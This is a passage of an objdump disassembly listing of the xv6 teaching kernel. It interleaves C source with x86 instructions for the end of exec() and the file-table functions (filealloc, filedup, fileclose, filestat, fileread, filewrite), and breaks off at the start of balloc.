10 mov %edx,0x10(%esp) 80100b06: 8b 95 08 ff ff ff mov -0xf8(%ebp),%edx 80100b0c: 89 04 24 mov %eax,(%esp) 80100b0f: 89 54 24 0c mov %edx,0xc(%esp) 80100b13: e8 78 5c 00 00 call 80106790 <loaduvm> 80100b18: 85 c0 test %eax,%eax 80100b1a: 0f 89 40 ff ff ff jns 80100a60 <exec+0xc0> freevm(pgdir); 80100b20: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b26: 89 04 24 mov %eax,(%esp) 80100b29: e8 42 5e 00 00 call 80106970 <freevm> 80100b2e: e9 cd fe ff ff jmp 80100a00 <exec+0x60> iunlockput(ip); 80100b33: 89 1c 24 mov %ebx,(%esp) 80100b36: e8 e5 0d 00 00 call 80101920 <iunlockput> 80100b3b: 90 nop 80100b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80100b40: e8 4b 20 00 00 call 80102b90 <end_op> sz = PGROUNDUP(sz); 80100b45: 8b 85 ec fe ff ff mov -0x114(%ebp),%eax 80100b4b: 05 ff 0f 00 00 add $0xfff,%eax 80100b50: 25 00 f0 ff ff and $0xfffff000,%eax if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b55: 8d 90 00 20 00 00 lea 0x2000(%eax),%edx 80100b5b: 89 44 24 04 mov %eax,0x4(%esp) 80100b5f: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b65: 89 54 24 08 mov %edx,0x8(%esp) 80100b69: 89 04 24 mov %eax,(%esp) 80100b6c: e8 df 5c 00 00 call 80106850 <allocuvm> 80100b71: 85 c0 test %eax,%eax 80100b73: 89 85 e8 fe ff ff mov %eax,-0x118(%ebp) 80100b79: 75 33 jne 80100bae <exec+0x20e> freevm(pgdir); 80100b7b: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100b81: 89 04 24 mov %eax,(%esp) 80100b84: e8 e7 5d 00 00 call 80106970 <freevm> return -1; 80100b89: b8 ff ff ff ff mov $0xffffffff,%eax 80100b8e: e9 7f fe ff ff jmp 80100a12 <exec+0x72> end_op(); 80100b93: e8 f8 1f 00 00 call 80102b90 <end_op> cprintf("exec: fail\n"); 80100b98: c7 04 24 21 6f 10 80 movl $0x80106f21,(%esp) 80100b9f: e8 ac fa ff ff call 80100650 <cprintf> return -1; 80100ba4: b8 ff ff ff ff mov $0xffffffff,%eax 80100ba9: e9 64 fe ff ff jmp 80100a12 <exec+0x72> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bae: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100bb4: 89 d8 mov %ebx,%eax 80100bb6: 2d 00 20 00 00 sub $0x2000,%eax 80100bbb: 89 44 24 04 mov %eax,0x4(%esp) 80100bbf: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100bc5: 89 04 24 mov %eax,(%esp) 80100bc8: e8 d3 5e 00 00 call 80106aa0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100bcd: 8b 45 0c mov 0xc(%ebp),%eax 80100bd0: 8b 00 mov (%eax),%eax 80100bd2: 85 c0 test %eax,%eax 80100bd4: 0f 84 59 01 00 00 je 80100d33 <exec+0x393> 80100bda: 8b 4d 0c mov 0xc(%ebp),%ecx 80100bdd: 31 d2 xor %edx,%edx 80100bdf: 8d 71 04 lea 0x4(%ecx),%esi 80100be2: 89 cf mov %ecx,%edi 80100be4: 89 d1 mov %edx,%ecx 80100be6: 89 f2 mov %esi,%edx 80100be8: 89 fe mov %edi,%esi 80100bea: 89 cf mov %ecx,%edi 80100bec: eb 0a jmp 80100bf8 <exec+0x258> 80100bee: 66 90 xchg %ax,%ax 80100bf0: 83 c2 04 add $0x4,%edx if(argc >= MAXARG) 80100bf3: 83 ff 20 cmp $0x20,%edi 80100bf6: 74 83 je 80100b7b <exec+0x1db> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100bf8: 89 04 24 mov %eax,(%esp) 80100bfb: 89 95 ec fe ff ff mov %edx,-0x114(%ebp) 80100c01: e8 aa 38 00 00 call 801044b0 <strlen> 80100c06: f7 d0 not %eax 80100c08: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0a: 8b 06 mov (%esi),%eax sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c0c: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c0f: 89 04 24 mov %eax,(%esp) 80100c12: e8 99 38 00 00 call 801044b0 <strlen> 80100c17: 83 c0 01 add $0x1,%eax 80100c1a: 89 44 24 0c mov %eax,0xc(%esp) 80100c1e: 8b 06 mov (%esi),%eax 80100c20: 89 5c 24 04 mov %ebx,0x4(%esp) 80100c24: 89 44 24 08 mov %eax,0x8(%esp) 80100c28: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c2e: 89 04 24 mov %eax,(%esp) 80100c31: e8 ca 5f 00 00 call 80106c00 <copyout> 80100c36: 85 c0 test %eax,%eax 80100c38: 0f 88 3d ff ff ff js 80100b7b <exec+0x1db> for(argc = 0; argv[argc]; argc++) { 80100c3e: 8b 95 ec fe ff ff mov -0x114(%ebp),%edx ustack[3+argc] = sp; 80100c44: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100c4a: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c51: 83 c7 01 add $0x1,%edi 80100c54: 8b 02 mov (%edx),%eax 80100c56: 89 d6 mov %edx,%esi 80100c58: 85 c0 test %eax,%eax 80100c5a: 75 94 jne 80100bf0 <exec+0x250> 80100c5c: 89 fa mov %edi,%edx ustack[3+argc] = 0; 80100c5e: c7 84 95 64 ff ff ff movl $0x0,-0x9c(%ebp,%edx,4) 80100c65: 00 00 00 00 ustack[2] = sp - (argc+1)*4; // argv pointer 80100c69: 8d 04 95 04 00 00 00 lea 0x4(,%edx,4),%eax ustack[1] = argc; 80100c70: 89 95 5c ff ff ff mov %edx,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c76: 89 da mov %ebx,%edx 80100c78: 29 c2 sub %eax,%edx sp -= (3+argc+1) * 4; 80100c7a: 83 c0 0c add $0xc,%eax 80100c7d: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c7f: 89 44 24 0c mov %eax,0xc(%esp) 80100c83: 8b 85 f0 fe ff ff mov -0x110(%ebp),%eax 80100c89: 89 4c 24 08 mov %ecx,0x8(%esp) 80100c8d: 89 5c 24 04 mov %ebx,0x4(%esp) ustack[0] = 0xffffffff; // fake return PC 80100c91: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100c98: ff ff ff if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100c9b: 89 04 24 mov %eax,(%esp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100c9e: 89 95 60 ff ff ff mov %edx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100ca4: e8 57 5f 00 00 call 80106c00 <copyout> 80100ca9: 85 c0 test %eax,%eax 80100cab: 0f 88 ca fe ff ff js 80100b7b <exec+0x1db> for(last=s=path; *s; s++) 80100cb1: 8b 45 08 mov 0x8(%ebp),%eax 80100cb4: 0f b6 10 movzbl (%eax),%edx 80100cb7: 84 d2 test %dl,%dl 80100cb9: 74 19 je 80100cd4 <exec+0x334> 80100cbb: 8b 4d 08 mov 0x8(%ebp),%ecx 80100cbe: 83 c0 01 add $0x1,%eax last = s+1; 80100cc1: 80 fa 2f cmp $0x2f,%dl for(last=s=path; *s; s++) 80100cc4: 0f b6 10 movzbl (%eax),%edx last = s+1; 80100cc7: 0f 44 c8 cmove %eax,%ecx 80100cca: 83 c0 01 add $0x1,%eax for(last=s=path; *s; s++) 80100ccd: 84 d2 test %dl,%dl 80100ccf: 75 f0 jne 80100cc1 <exec+0x321> 80100cd1: 89 4d 08 mov %ecx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cd4: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cda: 8b 45 08 mov 0x8(%ebp),%eax 80100cdd: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80100ce4: 00 80100ce5: 89 44 24 04 mov %eax,0x4(%esp) 80100ce9: 89 f8 mov %edi,%eax 80100ceb: 83 c0 6c add $0x6c,%eax 80100cee: 89 04 24 mov %eax,(%esp) 80100cf1: e8 7a 37 00 00 call 80104470 <safestrcpy> curproc->pgdir = pgdir; 80100cf6: 8b 8d f0 fe ff ff mov -0x110(%ebp),%ecx oldpgdir = curproc->pgdir; 80100cfc: 8b 77 04 mov 0x4(%edi),%esi curproc->tf->eip = elf.entry; // main 80100cff: 8b 47 18 mov 0x18(%edi),%eax curproc->pgdir = pgdir; 80100d02: 89 4f 04 mov %ecx,0x4(%edi) curproc->sz = sz; 80100d05: 8b 8d e8 fe ff ff mov -0x118(%ebp),%ecx 80100d0b: 89 0f mov %ecx,(%edi) curproc->tf->eip = elf.entry; // main 80100d0d: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d13: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d16: 8b 47 18 mov 0x18(%edi),%eax 80100d19: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d1c: 89 3c 24 mov %edi,(%esp) 80100d1f: e8 cc 58 00 00 call 801065f0 <switchuvm> freevm(oldpgdir); 80100d24: 89 34 24 mov %esi,(%esp) 80100d27: e8 44 5c 00 00 call 80106970 <freevm> return 0; 80100d2c: 31 c0 xor %eax,%eax 80100d2e: e9 df fc ff ff jmp 80100a12 <exec+0x72> for(argc = 0; argv[argc]; argc++) { 80100d33: 8b 9d e8 fe ff ff mov -0x118(%ebp),%ebx 80100d39: 31 d2 xor %edx,%edx 80100d3b: 8d 8d 58 ff ff ff lea -0xa8(%ebp),%ecx 80100d41: e9 18 ff ff ff jmp 80100c5e <exec+0x2be> 80100d46: 66 90 xchg %ax,%ax 80100d48: 66 90 xchg %ax,%ax 80100d4a: 66 90 xchg %ax,%ax 80100d4c: 66 90 xchg %ax,%ax 80100d4e: 66 90 xchg %ax,%ax 80100d50 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d50: 55 push %ebp 80100d51: 89 e5 mov %esp,%ebp 80100d53: 83 ec 18 sub $0x18,%esp initlock(&ftable.lock, "ftable"); 80100d56: c7 44 24 04 2d 6f 10 movl $0x80106f2d,0x4(%esp) 80100d5d: 80 80100d5e: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d65: e8 f6 32 00 00 call 80104060 <initlock> } 80100d6a: c9 leave 80100d6b: c3 ret 80100d6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100d70 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d70: 55 push %ebp 80100d71: 89 e5 mov %esp,%ebp 80100d73: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d74: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d79: 83 ec 14 sub $0x14,%esp acquire(&ftable.lock); 80100d7c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100d83: e8 c8 33 00 00 call 80104150 <acquire> 80100d88: eb 11 jmp 80100d9b <filealloc+0x2b> 80100d8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d90: 83 c3 18 add $0x18,%ebx 80100d93: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100d99: 74 25 je 80100dc0 <filealloc+0x50> if(f->ref == 0){ 80100d9b: 8b 43 04 mov 0x4(%ebx),%eax 80100d9e: 85 c0 test %eax,%eax 80100da0: 75 ee jne 80100d90 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100da2: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) f->ref = 1; 80100da9: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100db0: e8 8b 34 00 00 call 80104240 <release> return f; } } release(&ftable.lock); return 0; } 80100db5: 83 c4 14 add $0x14,%esp return f; 80100db8: 89 d8 mov %ebx,%eax } 80100dba: 5b pop %ebx 80100dbb: 5d pop %ebp 80100dbc: c3 ret 80100dbd: 8d 76 00 lea 0x0(%esi),%esi release(&ftable.lock); 80100dc0: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100dc7: e8 74 34 00 00 call 80104240 <release> } 80100dcc: 83 c4 14 add $0x14,%esp return 0; 80100dcf: 31 c0 xor %eax,%eax } 80100dd1: 5b pop %ebx 80100dd2: 5d pop %ebp 80100dd3: c3 ret 80100dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100de0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100de0: 55 push %ebp 80100de1: 89 e5 mov %esp,%ebp 80100de3: 53 push %ebx 80100de4: 83 ec 14 sub $0x14,%esp 80100de7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dea: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100df1: e8 5a 33 00 00 call 80104150 <acquire> if(f->ref < 1) 80100df6: 8b 43 04 mov 0x4(%ebx),%eax 80100df9: 85 c0 test %eax,%eax 80100dfb: 7e 1a jle 80100e17 <filedup+0x37> panic("filedup"); f->ref++; 80100dfd: 83 c0 01 add $0x1,%eax 80100e00: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e03: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e0a: e8 31 34 00 00 call 80104240 <release> return f; } 80100e0f: 83 c4 14 add $0x14,%esp 80100e12: 89 d8 mov %ebx,%eax 80100e14: 5b pop %ebx 80100e15: 5d pop %ebp 80100e16: c3 ret panic("filedup"); 80100e17: c7 04 24 34 6f 10 80 movl $0x80106f34,(%esp) 80100e1e: e8 3d f5 ff ff call 80100360 <panic> 80100e23: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100e29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e30 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e30: 55 push %ebp 80100e31: 89 e5 mov %esp,%ebp 80100e33: 57 push %edi 80100e34: 56 push %esi 80100e35: 53 push %ebx 80100e36: 83 ec 1c sub $0x1c,%esp 80100e39: 8b 7d 08 mov 0x8(%ebp),%edi struct file ff; acquire(&ftable.lock); 80100e3c: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) 80100e43: e8 08 33 00 00 call 80104150 <acquire> if(f->ref < 1) 80100e48: 8b 57 04 mov 0x4(%edi),%edx 80100e4b: 85 d2 test %edx,%edx 80100e4d: 0f 8e 89 00 00 00 jle 80100edc <fileclose+0xac> panic("fileclose"); if(--f->ref > 0){ 80100e53: 83 ea 01 sub $0x1,%edx 80100e56: 85 d2 test %edx,%edx 80100e58: 89 57 04 mov %edx,0x4(%edi) 80100e5b: 74 13 je 80100e70 <fileclose+0x40> release(&ftable.lock); 80100e5d: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e64: 83 c4 1c add $0x1c,%esp 80100e67: 5b pop %ebx 80100e68: 5e pop %esi 80100e69: 5f pop %edi 80100e6a: 5d pop %ebp release(&ftable.lock); 80100e6b: e9 d0 33 00 00 jmp 80104240 <release> ff = *f; 80100e70: 0f b6 47 09 movzbl 0x9(%edi),%eax 80100e74: 8b 37 mov (%edi),%esi 80100e76: 8b 5f 0c mov 0xc(%edi),%ebx f->type = FD_NONE; 80100e79: c7 07 00 00 00 00 movl $0x0,(%edi) ff = *f; 80100e7f: 88 45 e7 mov %al,-0x19(%ebp) 80100e82: 8b 47 10 mov 0x10(%edi),%eax release(&ftable.lock); 80100e85: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp) ff = *f; 80100e8c: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100e8f: e8 ac 33 00 00 call 80104240 <release> if(ff.type == FD_PIPE) 80100e94: 83 fe 01 cmp $0x1,%esi 80100e97: 74 0f je 80100ea8 <fileclose+0x78> else if(ff.type == FD_INODE){ 80100e99: 83 fe 02 cmp $0x2,%esi 80100e9c: 74 22 je 80100ec0 <fileclose+0x90> } 80100e9e: 83 c4 1c add $0x1c,%esp 80100ea1: 5b pop %ebx 80100ea2: 5e pop %esi 80100ea3: 5f pop %edi 80100ea4: 5d pop %ebp 80100ea5: c3 ret 80100ea6: 66 90 xchg %ax,%ax pipeclose(ff.pipe, ff.writable); 80100ea8: 0f be 75 e7 movsbl -0x19(%ebp),%esi 80100eac: 89 1c 24 mov %ebx,(%esp) 80100eaf: 89 74 24 04 mov %esi,0x4(%esp) 80100eb3: e8 b8 23 00 00 call 80103270 <pipeclose> 80100eb8: eb e4 jmp 80100e9e <fileclose+0x6e> 80100eba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi begin_op(); 80100ec0: e8 5b 1c 00 00 call 80102b20 <begin_op> iput(ff.ip); 80100ec5: 8b 45 e0 mov -0x20(%ebp),%eax 80100ec8: 89 04 24 mov %eax,(%esp) 80100ecb: e8 10 09 00 00 call 801017e0 <iput> } 80100ed0: 83 c4 1c add $0x1c,%esp 80100ed3: 5b pop %ebx 80100ed4: 5e pop %esi 80100ed5: 5f pop %edi 80100ed6: 5d pop %ebp end_op(); 80100ed7: e9 b4 1c 00 00 jmp 80102b90 <end_op> panic("fileclose"); 80100edc: c7 04 24 3c 6f 10 80 movl $0x80106f3c,(%esp) 80100ee3: e8 78 f4 ff ff call 80100360 <panic> 80100ee8: 90 nop 80100ee9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100ef0 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100ef0: 55 push %ebp 80100ef1: 89 e5 mov %esp,%ebp 80100ef3: 53 push %ebx 80100ef4: 83 ec 14 sub $0x14,%esp 80100ef7: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100efa: 83 3b 02 cmpl $0x2,(%ebx) 80100efd: 75 31 jne 80100f30 <filestat+0x40> ilock(f->ip); 80100eff: 8b 43 10 mov 0x10(%ebx),%eax 80100f02: 89 04 24 mov %eax,(%esp) 80100f05: e8 b6 07 00 00 call 801016c0 <ilock> stati(f->ip, st); 80100f0a: 8b 45 0c mov 0xc(%ebp),%eax 80100f0d: 89 44 24 04 mov %eax,0x4(%esp) 80100f11: 8b 43 10 mov 0x10(%ebx),%eax 80100f14: 89 04 24 mov %eax,(%esp) 80100f17: e8 24 0a 00 00 call 80101940 <stati> iunlock(f->ip); 80100f1c: 8b 43 10 mov 0x10(%ebx),%eax 80100f1f: 89 04 24 mov %eax,(%esp) 80100f22: e8 79 08 00 00 call 801017a0 <iunlock> return 0; } return -1; } 80100f27: 83 c4 14 add $0x14,%esp return 0; 80100f2a: 31 c0 xor %eax,%eax } 80100f2c: 5b pop %ebx 80100f2d: 5d pop %ebp 80100f2e: c3 ret 80100f2f: 90 nop 80100f30: 83 c4 14 add $0x14,%esp return -1; 80100f33: b8 ff ff ff ff mov $0xffffffff,%eax } 80100f38: 5b pop %ebx 80100f39: 5d pop %ebp 80100f3a: c3 ret 80100f3b: 90 nop 80100f3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f40 <fileread>: // Read from file f. int fileread(struct file *f, char *addr, int n) { 80100f40: 55 push %ebp 80100f41: 89 e5 mov %esp,%ebp 80100f43: 57 push %edi 80100f44: 56 push %esi 80100f45: 53 push %ebx 80100f46: 83 ec 1c sub $0x1c,%esp 80100f49: 8b 5d 08 mov 0x8(%ebp),%ebx 80100f4c: 8b 75 0c mov 0xc(%ebp),%esi 80100f4f: 8b 7d 10 mov 0x10(%ebp),%edi int r; if(f->readable == 0) 80100f52: 80 7b 08 00 cmpb $0x0,0x8(%ebx) 80100f56: 74 68 je 80100fc0 <fileread+0x80> return -1; if(f->type == FD_PIPE) 80100f58: 8b 03 mov (%ebx),%eax 80100f5a: 83 f8 01 cmp $0x1,%eax 80100f5d: 74 49 je 80100fa8 <fileread+0x68> return piperead(f->pipe, addr, n); if(f->type == FD_INODE){ 80100f5f: 83 f8 02 cmp $0x2,%eax 80100f62: 75 63 jne 80100fc7 <fileread+0x87> ilock(f->ip); 80100f64: 8b 43 10 mov 0x10(%ebx),%eax 80100f67: 89 04 24 mov %eax,(%esp) 80100f6a: e8 51 07 00 00 call 801016c0 <ilock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f6f: 89 7c 24 0c mov %edi,0xc(%esp) 80100f73: 8b 43 14 mov 0x14(%ebx),%eax 80100f76: 89 74 24 04 mov %esi,0x4(%esp) 80100f7a: 89 44 24 08 mov %eax,0x8(%esp) 80100f7e: 8b 43 10 mov 0x10(%ebx),%eax 80100f81: 89 04 24 mov %eax,(%esp) 80100f84: e8 e7 09 00 00 call 80101970 <readi> 80100f89: 85 c0 test %eax,%eax 80100f8b: 89 c6 mov %eax,%esi 80100f8d: 7e 03 jle 80100f92 <fileread+0x52> f->off += r; 80100f8f: 01 43 14 add %eax,0x14(%ebx) iunlock(f->ip); 80100f92: 8b 43 10 mov 0x10(%ebx),%eax 80100f95: 89 04 24 mov %eax,(%esp) 80100f98: e8 03 08 00 00 call 801017a0 <iunlock> if((r = readi(f->ip, addr, f->off, n)) > 0) 80100f9d: 89 f0 mov %esi,%eax return r; } panic("fileread"); } 80100f9f: 83 c4 1c add $0x1c,%esp 80100fa2: 5b pop %ebx 80100fa3: 5e pop %esi 80100fa4: 5f pop %edi 80100fa5: 5d pop %ebp 80100fa6: c3 ret 80100fa7: 90 nop return piperead(f->pipe, addr, n); 80100fa8: 8b 43 0c mov 0xc(%ebx),%eax 80100fab: 89 45 08 mov %eax,0x8(%ebp) } 80100fae: 83 c4 1c add $0x1c,%esp 80100fb1: 5b pop %ebx 80100fb2: 5e pop %esi 80100fb3: 5f pop %edi 80100fb4: 5d pop %ebp return piperead(f->pipe, addr, n); 80100fb5: e9 36 24 00 00 jmp 801033f0 <piperead> 80100fba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80100fc0: b8 ff ff ff ff mov $0xffffffff,%eax 80100fc5: eb d8 jmp 80100f9f <fileread+0x5f> panic("fileread"); 80100fc7: c7 04 24 46 6f 10 80 movl $0x80106f46,(%esp) 80100fce: e8 8d f3 ff ff call 80100360 <panic> 80100fd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100fe0 <filewrite>: //PAGEBREAK! // Write to file f. int filewrite(struct file *f, char *addr, int n) { 80100fe0: 55 push %ebp 80100fe1: 89 e5 mov %esp,%ebp 80100fe3: 57 push %edi 80100fe4: 56 push %esi 80100fe5: 53 push %ebx 80100fe6: 83 ec 2c sub $0x2c,%esp 80100fe9: 8b 45 0c mov 0xc(%ebp),%eax 80100fec: 8b 7d 08 mov 0x8(%ebp),%edi 80100fef: 89 45 dc mov %eax,-0x24(%ebp) 80100ff2: 8b 45 10 mov 0x10(%ebp),%eax int r; if(f->writable == 0) 80100ff5: 80 7f 09 00 cmpb $0x0,0x9(%edi) { 80100ff9: 89 45 e4 mov %eax,-0x1c(%ebp) if(f->writable == 0) 80100ffc: 0f 84 ae 00 00 00 je 801010b0 <filewrite+0xd0> return -1; if(f->type == FD_PIPE) 80101002: 8b 07 mov (%edi),%eax 80101004: 83 f8 01 cmp $0x1,%eax 80101007: 0f 84 c2 00 00 00 je 801010cf <filewrite+0xef> return pipewrite(f->pipe, addr, n); if(f->type == FD_INODE){ 8010100d: 83 f8 02 cmp $0x2,%eax 80101010: 0f 85 d7 00 00 00 jne 801010ed <filewrite+0x10d> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((LOGSIZE-1-1-2) / 2) * 512; int i = 0; while(i < n){ 80101016: 8b 45 e4 mov -0x1c(%ebp),%eax 80101019: 31 db xor %ebx,%ebx 8010101b: 85 c0 test %eax,%eax 8010101d: 7f 31 jg 80101050 <filewrite+0x70> 8010101f: e9 9c 00 00 00 jmp 801010c0 <filewrite+0xe0> 80101024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); ilock(f->ip); if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) f->off += r; iunlock(f->ip); 80101028: 8b 4f 10 mov 0x10(%edi),%ecx f->off += r; 8010102b: 01 47 14 add %eax,0x14(%edi) 8010102e: 89 45 e0 mov %eax,-0x20(%ebp) iunlock(f->ip); 80101031: 89 0c 24 mov %ecx,(%esp) 80101034: e8 67 07 00 00 call 801017a0 <iunlock> end_op(); 80101039: e8 52 1b 00 00 call 80102b90 <end_op> 8010103e: 8b 45 e0 mov -0x20(%ebp),%eax if(r < 0) break; if(r != n1) 80101041: 39 f0 cmp %esi,%eax 80101043: 0f 85 98 00 00 00 jne 801010e1 <filewrite+0x101> panic("short filewrite"); i += r; 80101049: 01 c3 add %eax,%ebx while(i < n){ 8010104b: 39 5d e4 cmp %ebx,-0x1c(%ebp) 8010104e: 7e 70 jle 801010c0 <filewrite+0xe0> int n1 = n - i; 80101050: 8b 75 e4 mov -0x1c(%ebp),%esi 80101053: b8 00 1a 00 00 mov $0x1a00,%eax 80101058: 29 de sub %ebx,%esi 8010105a: 81 fe 00 1a 00 00 cmp $0x1a00,%esi 80101060: 0f 4f f0 cmovg %eax,%esi begin_op(); 80101063: e8 b8 1a 00 00 call 80102b20 <begin_op> ilock(f->ip); 80101068: 8b 47 10 mov 0x10(%edi),%eax 8010106b: 89 04 24 mov %eax,(%esp) 8010106e: e8 4d 06 00 00 call 801016c0 <ilock> if ((r = writei(f->ip, addr + i, f->off, n1)) > 0) 80101073: 89 74 24 0c mov %esi,0xc(%esp) 80101077: 8b 47 14 mov 0x14(%edi),%eax 8010107a: 89 44 24 08 mov %eax,0x8(%esp) 8010107e: 8b 45 dc mov -0x24(%ebp),%eax 80101081: 01 d8 add %ebx,%eax 80101083: 89 44 24 04 mov %eax,0x4(%esp) 80101087: 8b 47 10 mov 0x10(%edi),%eax 8010108a: 89 04 24 mov %eax,(%esp) 8010108d: e8 de 09 00 00 call 80101a70 <writei> 80101092: 85 c0 test %eax,%eax 80101094: 7f 92 jg 80101028 <filewrite+0x48> iunlock(f->ip); 80101096: 8b 4f 10 mov 0x10(%edi),%ecx 80101099: 89 45 e0 mov %eax,-0x20(%ebp) 8010109c: 89 0c 24 mov %ecx,(%esp) 8010109f: e8 fc 06 00 00 call 801017a0 <iunlock> end_op(); 801010a4: e8 e7 1a 00 00 call 80102b90 <end_op> if(r < 0) 801010a9: 8b 45 e0 mov -0x20(%ebp),%eax 801010ac: 85 c0 test %eax,%eax 801010ae: 74 91 je 80101041 <filewrite+0x61> } return i == n ? n : -1; } panic("filewrite"); } 801010b0: 83 c4 2c add $0x2c,%esp return -1; 801010b3: b8 ff ff ff ff mov $0xffffffff,%eax } 801010b8: 5b pop %ebx 801010b9: 5e pop %esi 801010ba: 5f pop %edi 801010bb: 5d pop %ebp 801010bc: c3 ret 801010bd: 8d 76 00 lea 0x0(%esi),%esi return i == n ? n : -1; 801010c0: 3b 5d e4 cmp -0x1c(%ebp),%ebx 801010c3: 89 d8 mov %ebx,%eax 801010c5: 75 e9 jne 801010b0 <filewrite+0xd0> } 801010c7: 83 c4 2c add $0x2c,%esp 801010ca: 5b pop %ebx 801010cb: 5e pop %esi 801010cc: 5f pop %edi 801010cd: 5d pop %ebp 801010ce: c3 ret return pipewrite(f->pipe, addr, n); 801010cf: 8b 47 0c mov 0xc(%edi),%eax 801010d2: 89 45 08 mov %eax,0x8(%ebp) } 801010d5: 83 c4 2c add $0x2c,%esp 801010d8: 5b pop %ebx 801010d9: 5e pop %esi 801010da: 5f pop %edi 801010db: 5d pop %ebp return pipewrite(f->pipe, addr, n); 801010dc: e9 1f 22 00 00 jmp 80103300 <pipewrite> panic("short filewrite"); 801010e1: c7 04 24 4f 6f 10 80 movl $0x80106f4f,(%esp) 801010e8: e8 73 f2 ff ff call 80100360 <panic> panic("filewrite"); 801010ed: c7 04 24 55 6f 10 80 movl $0x80106f55,(%esp) 801010f4: e8 67 f2 ff ff call 80100360 <panic> 801010f9: 66 90 xchg %ax,%ax 801010fb: 66 90 xchg %ax,%ax 801010fd: 66 90 xchg %ax,%ax 801010ff: 90 nop 80101100 <balloc>: // Blocks. // Allocate a zeroed disk block. static uint balloc(uint dev) { 80101100: 55 push %ebp 80101101: 89 e5 mov %esp,%ebp 80101103: 57 push %edi 80101104: 56 push %esi 80101105: 53 push %ebx 80101106: 83 ec 2c sub $0x2c,%esp 80101109: 89 45 d8 mov %eax,-0x28(%ebp) int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 8010110c: a1 c0 09 11 80 mov 0x801109c0,%eax 80101111: 85 c0 test %eax,%eax 80101113: 0f 84 8c 00 00 00 je 801011a5 <balloc+0xa5> 80101119: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) bp = bread(dev, BBLOCK(b, sb)); 80101120: 8b 75 dc mov 